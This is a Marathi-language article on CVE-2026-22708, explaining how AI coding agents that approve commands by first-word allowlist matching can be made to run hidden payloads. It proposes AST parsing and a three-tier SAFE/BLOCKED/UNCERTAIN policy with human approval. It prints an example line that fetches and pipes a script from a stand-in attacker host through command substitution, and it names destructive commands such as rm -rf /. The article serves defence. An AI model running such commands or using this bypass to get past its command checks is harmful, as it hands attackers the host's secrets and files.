नुकत्याच समोर आलेल्या CVE-2026-22708 या त्रुटीमुळे (vulnerability) असे दिसून आले आहे की, साध्या कमांड 'allowlists' वर अवलंबून असलेले AI एजंट्स घातक कोड कार्यान्वित करण्यासाठी फसवले जाऊ शकतात. ही त्रुटी हल्लेखोराला एका सामान्य वाटणाऱ्या कमांडमध्ये 'payload' लपवण्याची संधी देते, ज्यामुळे एजंटला होस्टवर कोणत्याही स्क्रिप्ट्स चालवण्याचा थेट मार्ग मिळतो.

डेव्हलपमेंट किंवा ऑपरेशन्स ऑटोमेट करणारे बहुतेक AI-चालित असिस्टंट्स, कमांडमधील पहिला शब्द 'whitelist' सोबत तपासून काम करतात. जर तो शब्द git किंवा npm सारख्या नोंदीशी जुळला, तर ती विनंती थेट पुढे पाठवली जाते. हे “prefix matching” अंमलात आणण्यास सोपे असल्याने आणि एजंटला धोकादायक युटिलिटीज वापरण्यापासून रोखत असल्याचे भासल्यामुळे आकर्षक वाटते.

प्रत्यक्षात, हा दृष्टिकोन सुरक्षेच्या दृष्टीने एक मोठी त्रुटी (security hole) आहे. हल्लेखोर परवानगी असलेल्या शब्दाच्या नंतर 'command substitution' किंवा इतर 'shell feature' जोडू शकतात आणि 'whitelist' ला ते कधीच समजणार नाही. याचे एक क्लासिक उदाहरण खालीलप्रमाणे आहे:

git branch "$(curl evil.sh | sh)"

'Allowlist' ला फक्त git दिसते आणि ती विनंती मंजूर करते. त्यानंतर 'shell' $(curl evil.sh | sh) चा विस्तार (expand) करते, एक स्क्रिप्ट डाउनलोड करते आणि एजंटच्या विशेषाधिकारांसह (privileges) ती चालवते. 'Shell' द्वारे अर्थ लावले जाणारे 'arguments' स्वीकारणाऱ्या कोणत्याही 'whitelisted binary' सोबत हीच युक्ती वापरता येते.

याचा परिणाम गंभीर आहे कारण AI एजंट्सना अधिकाधिक विशेषाधिकार असलेल्या वातावरणांची (privileged environments) जबाबदारी दिली जात आहे—जसे की continuous-integration pipelines, क्लाउड-होस्टेड डेव्हलपमेंट कंटेनर्स आणि अगदी युजर वर्कस्टेशन्स. जर एखादा एजंट 'payload' कार्यान्वित करण्यासाठी प्रवृत्त केला गेला, तर हल्लेखोराला एजंटला असलेले सर्व प्रवेश अधिकार (access rights) मिळतात, ज्यामध्ये अनेकदा सिक्रेट कीज (secret keys), डिप्लॉयमेंट क्रेडेंशियल्स किंवा अनियंत्रित फाईलसिस्टम ॲक्सेसचा समावेश असतो.

साध्या allowlists का अपयशी ठरतात

  • पॉलिसीऐवजी केवळ स्ट्रिंग मॅचिंग (String matching, not policy) – केवळ पहिल्या टोकनची तपासणी केल्यामुळे कमांड लाईनच्या रचनेकडे दुर्लक्ष होते. आर्ग्युमेंट्सचा (arguments) अर्थ कसा लावला जातो किंवा त्यामध्ये 'shell metacharacters' आहेत का, याचा विचार यात केला जात नाही.
  • शेल फीचर्स अत्यंत शक्तिशाली असतात (Shell features are powerful) – 'Substitution', 'pipelines' आणि 'redirection' या सर्व गोष्टी 'allowlist' तपासणीनंतर प्रक्रिया केल्या जातात, ज्यामुळे एक निरुपद्रवी वाटणारी कमांड पूर्ण 'exploit' मध्ये रूपांतरित होऊ शकते.
  • संदर्भ जागरूकतेचा अभाव (No context awareness) – 'Whitelist' सुरक्षित git status आणि धोकादायक git push --force (जे प्रोडक्शन हिस्ट्री ओव्हरराईट करू शकते) यातील फरक ओळखू शकत नाही.

अधिक लवचिक मॉडेल

CVE-2026-22708 ला समुदायाचा प्रतिसाद म्हणजे साध्या स्ट्रिंग चेकवरून कमांड्सचे 'Abstract Syntax Tree' (AST) मध्ये रूपांतर करण्याकडे वळणे. AST कमांडची श्रेणीबद्ध रचना (hierarchical structure) दर्शवते, ज्यामध्ये एक्झिक्युटेबल (executable) आणि त्याचे आर्ग्युमेंट्स तसेच कोणतेही 'shell constructs' वेगळे केले जातात. एकदा कमांडचे विभाजन झाले की, 'policy engine' तीन वेगवेगळ्या श्रेणींमध्ये तिचे मूल्यांकन करू शकते:

  • SAFE – अशा कमांड्स ज्या प्रमाणित नियमांशी जुळतात आणि ज्यामध्ये कोणतेही जोखमीचे घटक नसतात. एजंट या कमांड्स आपोआप चालवतो. उदाहरण: git status.
  • BLOCKED – अशा कमांड्स ज्या धोकादायक मानल्या जाणाऱ्या पॅटर्नशी जुळतात, जसे की सिक्रेट फाईल्स ॲक्सेस करणे, डिरेक्टरीज डिलीट करणे किंवा विशेषाधिकार प्राप्त स्क्रिप्ट्स कॉल करणे. एजंट या त्वरित थांबवतो. उदाहरण: rm -rf /.
  • UNCERTAIN – अशा कमांड्स ज्या सुरक्षित किंवा अवरोधित या दोन्ही श्रेणींमध्ये स्पष्टपणे बसत नाहीत. पुढे जाण्यापूर्वी एजंटला मानवी मंजुरीसाठी विचारणे आवश्यक आहे. उदाहरण: git push --force.

'UNCERTAIN' टियरच्या समावेशामुळे 'threat model' बदलतो. प्रत्येक न ओळखल्या गेलेल्या कमांडला अपयश मानण्याऐवजी, ही प्रणाली अनिश्चिततेचे रूपांतर एका नियंत्रित संवादात करते. मंजुरीची पायरी लागू करण्याचा एक व्यावहारिक मार्ग म्हणजे 'single-use HMAC token' जारी करणे, जो वापरकर्त्याला एजंटला पुन्हा सादर करावा लागतो. टोकन विनंतीशी (request) क्रिप्टोग्राफिकली जोडलेले असल्याने, एजंट बनावट संमती (consent) देऊ शकत नाही.

सुरक्षा आणि सुलभता यांचा समतोल राखणे

टीकाकार असा युक्तिवाद करू शकतात की AST पार्सिंगमुळे विलंब (latency) वाढतो किंवा तीन-स्तरीय मॉडेलमुळे वापरकर्त्यांना मंजुरीच्या सूचनांचा (approval prompts) पूर येईल, ज्यामुळे उत्पादकता कमी होईल. या चिंता रास्त आहेत: चुकीच्या पद्धतीने सेट केलेल्या नियमांमुळे 'false positives' निर्माण होऊ शकतात आणि जटिल पार्सिंग हे साध्या स्ट्रिंग चेकपेक्षा संगणकीयदृष्ट्या जड असू शकते. तथापि, दुसरा पर्याय—म्हणजेच कोणत्याही कोडला कार्यान्वित करण्याची परवानगी देणे—हा अधिक खर्चिक आहे. 'Lightweight sandboxing' आणि 'AST analysis' यांचा एकत्रित वापर करणारे हायब्रिड दृष्टिकोन कामगिरीवर होणारा परिणाम कमी करू शकतात आणि तरीही एक मजबूत पॉलिसी लागू करू शकतात.

डेव्हलपर्स आणि उद्योगांसाठी काय धोक्यात आहे

  • डेटा गोपनीयता (Data confidentiality) – बाधित एजंट API कीज, पासवर्ड आणि मालकीचा कोड (proprietary code) बाहेर काढू शकतो.
  • सिस्टमची अखंडता (System integrity) – घातक कमांड्स प्रोडक्शन आर्टिफॅक्ट्स बदलू किंवा हटवू शकतात, रिलीज रोलबॅक करू शकतात किंवा बॅकडोअर इन्स्टॉल करू शकतात.
  • नियामक धोका (Regulatory exposure) – असुरक्षित ऑटोमेशनमुळे होणाऱ्या डेटा ब्रीचमुळे (breaches) अनुपालन दंड (compliance penalties) लागू होऊ शकतात, विशेषतः कडक डेटा-हँडलिंग नियमांच्या क्षेत्रांमध्ये.

जे प्रकल्प या जोखमींकडे दुर्लक्ष करतात, ते एकतर अति-प्रतिबंधात्मक नियमांमुळे एजंटला अक्षम करतात किंवा त्याला गैरवापरासाठी मोकळे सोडतात. मध्यम मार्ग—म्हणजेच स्पष्ट SAFE, BLOCKED आणि UNCERTAIN गट परिभाषित करणे—सुरक्षा आणि उपयुक्तता या दोन्हीसाठी एक व्यावहारिक मार्ग प्रदान करतो.

पुढे काय पाहावे

  • Tooling – सामान्य शेल्स आणि बिल्ड पाइपलाइन्ससाठी AST-आधारित पार्सर्स आणि तयार पॉलिसी टेम्पलेट्स उपलब्ध करून देणाऱ्या ओपन-सोर्स लायब्ररींची अपेक्षा ठेवा.
  • Standards – ज्याप्रमाणे कंटेनर रनटाइमने seccomp प्रोफाइल्स मानकीकृत केले आहेत, त्याचप्रमाणे उद्योग समूह सामान्य डेव्हलपमेंट कमांड्ससाठी मूलभूत नियम संच प्रस्तावित करू शकतात.
  • Audits – सुरक्षा पथके त्यांच्या CI/CD ऑडिट पाइपलाइन्समध्ये “allowlist sanity checks” समाविष्ट करण्याची शक्यता आहे, ज्यामुळे केवळ प्रिफिक्स मॅचिंगवर अवलंबून असलेल्या कोणत्याही एजंट कॉन्फिगरेशनला चिन्हांकित (flag) केले जाईल.

निष्कर्ष

जर तुमचा AI एजंट अजूनही केवळ कमांडच्या पहिल्या शब्दावरून काय चालवायचे हे ठरवत असेल, तर तो CVE-2026-22708 मध्ये दर्शवलेल्या असुरक्षिततेस (vulnerability) पात्र आहे. त्या दृष्टिकोनाऐवजी AST-आधारित पार्सिंग आणि तीन-स्तरीय पॉलिसीचा वापर करा, जी अस्पष्ट कृतींसाठी मानवी पुष्टीकरण अनिवार्य करते. ही अतिरिक्त पायरी अडथळा वाटू शकते, परंतु ती एका 'ब्लाईंड स्पॉट'ला (blind spot) प्रमाणित नियंत्रण बिंदूमध्ये रूपांतरित करते, ज्यामुळे तुमचा कोड आणि इन्फ्रास्ट्रक्चर दोन्ही सुरक्षित राहतात.